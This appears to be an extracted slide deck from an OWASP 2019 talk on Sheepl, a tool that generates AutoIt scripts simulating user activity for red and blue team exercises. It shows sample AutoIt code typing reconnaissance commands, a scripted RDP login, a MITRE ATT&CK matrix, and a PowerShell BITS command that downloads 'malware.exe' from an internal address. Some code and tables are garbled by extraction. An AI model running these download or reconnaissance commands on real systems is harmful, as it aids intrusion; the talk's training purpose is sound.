Sheepl

Automating people for Red and Blue Team Tradecraft

OWASP 2019
Matt Lorentzen

Principal Security Consultant
Trustwave SpiderLabs
CCSAS, CCT

Focus on Red Teaming
Delivered testing for Government, Military, Commercial and Education establishments

Former CHECK Team Leader

Experience of business implementation after running a small consultancy for 7 years

Presented at CRESTCon ASIA, CRESTCon UK, 44CON London and various regional and national meetings
Agenda

01 Why this tool?
02 Network Development
03 Introducing SheepI
04 Supporting Red Teaming tradecraft
05 Supporting Blue Teaming tradecraft
Skills Gap
practice makes perfect
perfect practice makes perfect
people
“Next, users often download, create or generate files such as doc(x), pdf, zip and ISO files. We have found no tools applications available that generate such files.

Furthermore, there are also no tools available that generates search browser history, cookie session or stored web page credentials.”
Challenges

Traditional script based approach it’s hard to guarantee where the input goes

Requires runtimes on the client

timing becomes a PITA
• Tasks
• Time
• Type
Goals

- Create more realistic user activity
- Wanted to focus on tradecraft rather than prediction
- Ability to emulate attack and defence
- Portable solution – compiled with all the behavior baked in
AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. It uses a combination of simulated keystrokes, mouse movement and window/control manipulation in order to automate tasks in a way not possible or reliable with other languages (e.g. VBScript and SendKeys). AutoIt is also very small, self-contained and will run on all versions of Windows out-of-the-box with no annoying “runtimes” required!
- Written in python3 and generates valid AutoIT language
- Tasks – creating documents, browsing, command lines
- Emulation of key strokes
- Amount of time to complete them
- Random time intervals
- Compiled into a binary that can be run at startup/login
Two modes – interactive console and JSON profiles
Encapsulated class files for tasking
Extensible per task CMD module
Template stub code built into the tooling
Subtasks for specific modules
Uses just Python3 (3.4+) standard library and AutoIT
• Creates log entries
• Forensic artifacts
• Process for injection / token stealing
• Normal network noise
“moments of opportunity”

Matt Lorentzen – Average Pentester
Interactive Mode
Z:\SpiderLabs\sheep1 (master -> origin)

\n
#include <Array.au3>
#include <WinAPI.au3>
#include <Word.au3>

Opt("SendKeyDelay", 40)

; define global task list
Global $aTasks[3] = ['WordDocument_0', 'CommandShell_1', 'PowerShell_2']

; creates Sleep Times array
Global $aSleepTimes[4] = ['3778', '27855', '6257', '22110']

; copies original array just encase the task list borks
$aRandTasks = $aTasks
ConsoleWrite("[!] Going round the loop" & @CRLF)

For $i$ In $aRandTasks$
  ; start with a sleep Value
  ; pops the last shuffled value from the sleep array and assigns
Local $vSleepTime = _ArrayPop($aRandSleepTimes)
Sleep($vSleepTime)
;ConsoleWrite($i & @CRLF)
; gets the current function from the shuffled array
$curfunc = ($i & @CRLF)
ConsoleWrite($curfunc)
; call the function from the shuffled array
Call($i)
;Sleep($vSleepTime)
WordDocument_0()
Func WordDocument_0()

; Creates a Word Document : c:\users\matt\Desktop\document.doc
Local $oWord = _Word_Create()
; Add a new empty document
$oDoc = _Word_DocAdd($oWord)

WinActivate("[CLASS:OpusApp]")
WinWaitActive("[CLASS:OpusApp]")
SendKeepActive("[CLASS:OpusApp]")
Send("ipconfig /all{ENTER}"")
sleep(18305)
Send("netstat -ano -p tcp{ENTER}"")
sleep(8183)
Send("net user{ENTER}"")
sleep(2902)
Send("net localgroup Administrators{ENTER}"")
sleep(8893)
Send("whoami /groups{ENTER}"")
sleep(16051)
Send('exit{ENTER}')
; Reset Focus
SendKeepActive(""")
Compile Options
Parent -> Child Processes
## Processes

<table>
<thead>
<tr>
<th>Process</th>
<th>CPU</th>
<th>Private Bytes</th>
<th>Working Set</th>
<th>PID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Idle Process</td>
<td>57.53</td>
<td>52 K</td>
<td>8 K</td>
<td>0</td>
<td>Hardware Interrupts and DPCs</td>
</tr>
<tr>
<td>System</td>
<td>3.98</td>
<td>164 K</td>
<td>3,948 K</td>
<td>4</td>
<td>n/a</td>
</tr>
<tr>
<td>interrupts</td>
<td>1.36</td>
<td>0 K</td>
<td>0 K</td>
<td></td>
<td>n/a</td>
</tr>
<tr>
<td>smss.exe</td>
<td>0.01</td>
<td>5,308 K</td>
<td>10,684 K</td>
<td>768</td>
<td>Services and Controller app</td>
</tr>
<tr>
<td>Memory Compression</td>
<td>&lt; 0.01</td>
<td>7,088 K</td>
<td>16,912 K</td>
<td>844</td>
<td>Local Security Authority Process</td>
</tr>
<tr>
<td>cssrs.exe</td>
<td>0.66</td>
<td>4,888 K</td>
<td>6,060 K</td>
<td>972</td>
<td>Usermode Font Driver Host</td>
</tr>
<tr>
<td>wininit.exe</td>
<td>0.11</td>
<td>4,388 K</td>
<td>9,032 K</td>
<td>712</td>
<td>Client Server Runtime Process</td>
</tr>
<tr>
<td>services.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>bss.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>fontdrvhost.exe</td>
<td>0.11</td>
<td>4,388 K</td>
<td>9,032 K</td>
<td>972</td>
<td>Usermode Font Driver Host</td>
</tr>
<tr>
<td>explorer.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>SynTPHelp.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>avgux.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>luschd.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>luchck.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>AVGUI.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>GoogleCrashHandler.exe</td>
<td>0.24</td>
<td>51,988 K</td>
<td>1,25,152 K</td>
<td>6496</td>
<td>Windows Explorer</td>
</tr>
<tr>
<td>Command Line:</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>C:\WINDOWS\Explorer.EXE</td>
</tr>
<tr>
<td>Path:</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>C:\Windows\explorer.exe</td>
</tr>
<tr>
<td>7056 Synaptics Pointing Device Helper</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>9924 AVG User Interface</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>7524 Java Update Scheduler</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>11468 Java Update Checker</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>10692 AVG Antivirus</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
C:\Windows\system32\cmd.exe

ipconfig

Run

Mstsc

Remote Desktop Connection

[alt]o[alt][alt]c[alt]10.10.77.20[tab]CAPITALRISE\aaron.brady

Windows Security

IndexOverview1

Remote Desktop Connection

[alt]y[alt]

10.10.77.20 - Remote Desktop Connection

[alt][alt][caps lock][caps lock][caps lock][caps lock]
MITRE ATT&CK Framework
MITRE ATT&CK™ is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.

With the creation of ATT&CK, MITRE is fulfilling its mission to solve problems for a safer world — by bringing communities together to develop more effective cybersecurity. ATT&CK is open and available to any person or organization for use at no charge.
<table>
<thead>
<tr>
<th>Initial Access</th>
<th>Execution</th>
<th>Persistence</th>
<th>Privilege Escalation</th>
<th>Defense Evasion</th>
<th>Credential Access</th>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Exfiltration</th>
<th>Command and Control</th>
</tr>
</thead>
<tbody>
<tr>
<td>Drive-by Compromise</td>
<td>AppleScript</td>
<td>.bash_profile and .bashrc</td>
<td>Access Token</td>
<td>Access Token</td>
<td>Account Manipulation</td>
<td>Account Discovery</td>
<td>AppleScript</td>
<td>Audio Capture</td>
<td>Automated Exfiltration</td>
<td>Commonly Used Port</td>
</tr>
<tr>
<td>Exploit Public-Facing</td>
<td>CMSTP</td>
<td>Accessibility Features</td>
<td>Accessibilty Features</td>
<td>BITS Jobs</td>
<td>Bash History</td>
<td>Application Window Discovery</td>
<td>Application Deployment Software</td>
<td>Automated Collection</td>
<td>Data Compressed</td>
<td>Communication Through Removable Media</td>
</tr>
<tr>
<td>Application</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hardware</td>
<td>Command-Line</td>
<td></td>
<td>AppCert DLLs</td>
<td>Binary Padding</td>
<td>Brute Force</td>
<td>Browser Bookmark Discovery</td>
<td>Distributed Component Object Model</td>
<td>Clipboard Drive</td>
<td>Data Encrypted</td>
<td>Connection Proxy</td>
</tr>
<tr>
<td>Additions</td>
<td>Interface</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Replication Through</td>
<td>Compiled HTML</td>
<td>AppCert DLLs</td>
<td>Applnit DLLs</td>
<td>Bypass User</td>
<td>Credential</td>
<td>File and Directory Discovery</td>
<td>Exploitation of Remote Services</td>
<td>Data Staged</td>
<td>Data Transfer Size Limits</td>
<td>Custom Command and Control Protocol</td>
</tr>
<tr>
<td>Removable Media</td>
<td>File</td>
<td></td>
<td></td>
<td>Account Control</td>
<td>Dumping</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Spearphishing Attachment</td>
<td>Control Panel</td>
<td>Applnit DLLs</td>
<td>Application Shimming</td>
<td>CMSTP</td>
<td>Credentials in</td>
<td>Network Service Scanning</td>
<td>Logon Scripts</td>
<td>Data from Information Repositories</td>
<td>Exfiltration</td>
<td>Custom Cryptographic Protocol</td>
</tr>
<tr>
<td></td>
<td>Items</td>
<td></td>
<td></td>
<td></td>
<td>Files</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Powershell Execution – BITS Jobs

MITRE ATT&CK Technique ID (T1197)

BITS Jobs

```powershell
import-module *bits*

start-bitstransfer 'http://10.10.77.100/malware.exe' 'c:\users\matt\Desktop\malware.exe'
```
SSH connections and controlling Linux, IoT, or anything else that can be managed over SSH.

Accessing non-Windows based systems.
Windows Sub System for Linux

Bash
Kali
Debian

.....
Road Map

Traits
Typing ability
Woolpack Language (which is basically markdown)
More tasks
Extending web interaction
https://github.com/SpiderLabs/sheepl